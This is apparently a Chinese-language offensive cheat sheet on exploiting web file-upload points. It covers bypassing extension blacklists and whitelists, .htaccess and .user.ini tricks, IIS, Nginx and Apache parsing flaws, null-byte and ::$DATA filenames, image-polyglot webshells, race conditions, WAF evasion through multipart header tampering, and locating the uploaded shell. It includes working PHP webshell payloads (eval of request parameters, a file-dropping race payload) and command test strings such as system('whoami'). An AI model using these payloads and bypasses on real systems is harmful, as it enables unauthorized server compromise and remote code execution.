找到上传点,先初步判断一下做了什么防御手段:
客户端检查
利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可
服务端后缀黑名单
上传特殊可解析后缀
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
上传.user.ini
原理:
1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
利用:
上传.user.ini:
auto_prepend_file=1.gif # 要访问的文件加载之前加载,
或者
auto_append_file=1.gif # 要访问的文件加载之后加载
上传一个包含webshell代码的1.gif:
GIF98A <?php eval($_REQUEST['a']);?>
访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=phpinfo(); ?a=system('whoami');
配合解析漏洞
IIS:
目录解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)
Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字节代码解析漏洞
CVE-2013-4547(%20%00)
Apache:
文件名解析漏洞(test.php.owf.xdx)
详细参考:https://www.cnblogs.com/vege/p/12444476.html
利用NTFS ADS特性
其他
点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
服务器后缀白名单
00截断、MIME、点、空格、点空格点、::$DATA
shell.php::$DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
检查内容
文件头检查
木马文件中插入 允许上传的文件类型的文件头。
如gif
1.php
GIF98A <?php eval($_REQUEST['a']);?>
MIME
正常上传木马文件,burp抓包修改 Content-Type:image/jpg 等
getimagesize()、exif_imagetype()函数检查
生成图片马:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg b表示二进制文件 a表示ASCII文件
也可以使用edjpgcom.exe工具
然后结合文件包含漏洞利用
二次渲染
(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入php一句话,再上传即可。
(2)上传jpg、png图片:这两种格式图片的二次渲染绕过要难很多很多:png(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大),具体参考 https://xz.aliyun.com/t/2657#toc-3
技巧点:在目标网站渲染的过的图片再修改,修改后的再传两次
条件竞争
由于代码逻辑问题,其先将我们上传的图片保存,然后再进行处理,删除原图片,因此我们可以利用条件竞争,在我们上传的图片马被删除之前触发它。
方法:
利用burp不断发包,不断触发
1.php
<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>
绕过WAF
云WAF
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
例如
传shell时发现存在某云WAF,需进一步绕过
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
构造畸形的数据包,“打乱”waf的检测
WAF如何拦截:
文件名:
解析文件名,判断是否在黑名单内
文件内容
解析文件内容,判断是否为webshell
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
绕过:
获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以绕过的地方也就在这两个地方了。
1、去掉引号
2、双引号变单引号
3、多加一个引号
4、大小写
对这三个固定的字符串进行大小写转换
比如name转换成Name,Content-Disposition转换成content-disposition。
5、空格
在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。
在filename=后面添加空格上传成功
6、去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
7、删掉content-type
同上
8、交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass:
Content-Disposition: form-data; filename="xx.php"; name=file_x
9、多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
10、多个filename
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
11、多个分号
文件解析时,可能解析不到文件名,导致绕过。
12、header头,Content-Type : multipart/form-DATA
这种绕过应该很少,大多数都会忽略大小写。php和java都支持。
13、header头在boundary前添加任意字符
php支持,java不支持
14、filename换行
filen
ame="hhh
.
p
hp"
15、filename文件名添加单引号(‘)分号(;)等
filename==”hh' h.php”
filename=”hh;h.php”
16、filename==或者filename===绕过
17、name 和filename之间添加任意字符或者是大量字符
18、form-data用+拼接
19、Content-Disposition:*
20、filename="1.jpg .Php"类似这种的各种尝试
上传成功后寻找返回路径
正常情况下,在返回包中可以找到文件上传路径,如果未返回路径或找不到,可以尝试以下方法:
1、
刷新, f12 network/浏览器history搜索shell名字,或点击下载文件可能就知道了路径或相似路径。有些时候改名字的wordpress插件,编辑器等等,就可以通过这种方式发现
2、
返回了一些参数但不包括路径的情况,比如file_id 等等,那么文件路径可能存储在数据库中,可以结合sql注入 sqlmap的--search -C参数找到字段和值
3、
什么都没返回的情况,只返回了ok,true等等。重新加载,抓包看响应,或许某个接口的响应就包括对应的路径。
比如头像位置上传上去了,但是没有返回路径,那么想办法让他在加载一遍,比如退出重新登陆,一个包一个包的放。可能有些包的响应中就包含路径。
另外可能存在其他服务器、或者其他站点的其他路径,也是抓包查看,看一下加载过程的路径在哪或者看一下html、js
4、
只返回了文件名,没有路径
一种是fuzz,看其他同类型文件的路径,f12或者如果有文件下载的地方,下载抓包,看文件地址。
另一种是 尝试上传的时候目录穿越,一次一次尝试,看能否穿到站点根目录或者知道的目录下面。修改不如表单的其他参数、或者filename参数的值
5、
尝试访问日志文件,看能否发现一些敏感目录或上传目录
比如泛微
6、
上传上去没有访问直接下载,当前文件夹没有执行权限
这种情况,尝试目录穿越的方式,穿到其他目录下,比如根目录,来绕过限制
../->%C0%AE%C0%AE/
/../ ..
其他一些情况
1、当前上传接口无法绕过时,注意观察文件名,fuzz相似接口
uploadImg.cspx
uploadfile.cspx
uploadtest.cspx
upload_test.cspx
upload_2018.php
upload2019.php
upload2020.jsp
temp、test等等接口
fck编辑器的漏洞就是这样的,
例子:
2、尝试修改表单其他字段,看是否会影响后缀,(参数的优先级)
例子:
测试中发现了一个上传点,但waf拦截jsp、html等后缀,更改后缀重放数据包会导致reset,如下:
fileName和fileType参数可控,且当存在两个不同的后缀时,最上层的filename参数优先级为最高,可导致任意文件上传
发现上传成功的jsp文件其回显的type类型为image/png类型
删除最下层filename的Content-Type: image/png,文件上传类型即可被绕过